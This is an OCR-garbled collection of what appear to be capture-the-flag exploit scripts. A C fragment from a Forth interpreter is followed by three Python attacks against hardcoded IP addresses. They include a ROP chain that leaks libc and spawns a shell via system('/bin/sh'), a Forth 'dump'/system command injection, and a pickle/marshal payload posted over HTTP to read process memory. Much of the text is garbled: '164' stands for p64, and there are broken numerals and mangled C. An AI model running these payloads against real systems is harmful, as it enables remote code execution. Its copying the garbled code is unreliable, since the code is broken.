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1. forth
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wvoid _System;

register UCell len = *spt+it;
register Char *name = (Char *) *ap:;
extern Char g tmp buffer|]:;
mencpy (s &mp bufFfer, name, len);

g bfmp bufFfer[len] = '\0';

*sp = system(s &mp buffer) ;
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vnid__C"Jnnpiﬁ {
register TCell u = *sp++t+;
register Char *addyr = (Char *) *spt++;
while f(u)
register int i;
print£({"%08p: ", addr);
oy 1 = 0 12 =% 16 1++)
if ((int) (u - i) > 0) princf("$0Zx ", *(addr + i) & Oxff);

else printf" -
for (i = 0; i = 16 €& (u - i) = Q; i++)
printf("sc", *laddr + i) =< 32 7 '.' : *Fladdr + i));

putchar{''n');
addr += 1i;
wo=s i

from threading import Thread
from zio import *

target = ('136.243.194.49', 1024)

def dump(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

io.read_until('details"')
io.writeline(str(134512640)+' '+ str(62540)+' dump')
d = io.read_until('ok\n")

f=open('./dump.text', 'wb")

f.write(d)

f.close()

io.writeline(str(134579276)+"' '+ str(4388)+' dump')
d = io.read_until('ok\n")

f=open('./dump.data’, 'wb")

f.write(d)

f.close()

io.interact()

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
io.read_until('details")
payload = '134514341 2 system'
io.writeline(payload)
io.interact()

exp(target)
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import os
from threading import Thread

from zio import *

target = './teufel’
('136.243.194.41', 666)

target

def leak(target, offset):
io = zio(target, timeout=10, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

#io.write(164(24))
#io.write('a'*8+164(0x600500)+164(0x4004d4))
#io.read_until('a'*8)

io.write(164(9))

io.write('a'*9)

io.read_until('a'*9)

stack = 164('\x00'+io.readline().strip('\n').1just(7, '\x00'))
print hex(stack)

fake_rbp = stack - 0x800 - 0x2000
if fake_rbp < 0x7f0000000000:
return 2

io.write(164(24))
io.write('a'*8+164(fake_rbp)+164(0x4004d4))
io.readline()

put_got OX600FD8
rbp = 8 + put_got

payload = 'a'*8 + 164(rbp) + 164(0x40051F)
io.write(164(len(payload)))

io.write(payload)

io.readline()

d = (io.readline().strip('\n"')).1ljust(8, '\x@0')

print repr(d)

put_addr = 164(d)
base = put_addr - 0x70a30
print hex(base)

print 'offset='+hex(stack-base)
return 0

def exp(target, offset):
io = zio(target, timeout=10, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

#io.write(164(24))
#io.write('a'*8+164(0x600500)+164(0x4004d4))
#in read nntil('a'*R)\
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io.write(164(9))

io.write('a'*9)

io.read_until('a'*9)

stack = 164('\x00'+io.readline().strip('\n').1ljust(7, '\xe0"'))
print hex(stack)

fake_rbp = stack - 0x800 - ©x2000
if fake_rbp < 0x7f0000000000 :
return 2

base = stack - 0x1000*offset

#local
#pop_rdi_ret = base + 0x22bla

#remote

pop_rdi_ret = base + Ox218A2
io.write(164(24))
io.write('a'*8+164(fake_rbp)+164(0x4004d4))
io.readline()

put_plt = 0x400430

system = base + 0x443d0

binsh = base + 0x18c3dd

payload = 'a'*16 + 164(pop_rdi_ret) + 164(binsh) + 164(system)
io.write(164(len(payload)))

io.write(payload)

io.interact()

exp(target, Ox5ea)
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import sys
import marshal
import base64

target = ('136.243.194.43', 80)

def foo():
import os
fdl = os.open('/proc/self/maps', 0)
0s.lseek(fdl, 5000+0x150+11, O)
base = int(os.read(fd1, 12),16)
size = 0x1f6000
fd2 = os.open('/proc/self/mem', 0)
os.lseek(fd2, base, 0)
d = os.read(fd2, size)
os.write(sys.stdout.fileno(), d)

dir = """
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(s’

.strip()

tRtRc__builtin__
globals

(tRS""

tR(tR.
"ostrip()

d = base64.b6dencode(marshal.dumps(foo.func_code))

payload = dl+d+d2+'\n'

import requests

s = requests.Session()

url = "http://136.243.194.43/"
data = payload

resp = s.post(url, data=data)
d = resp.content

f = open('resp.txt', 'wb')
f.write(d)
f.close()

print 'finished’
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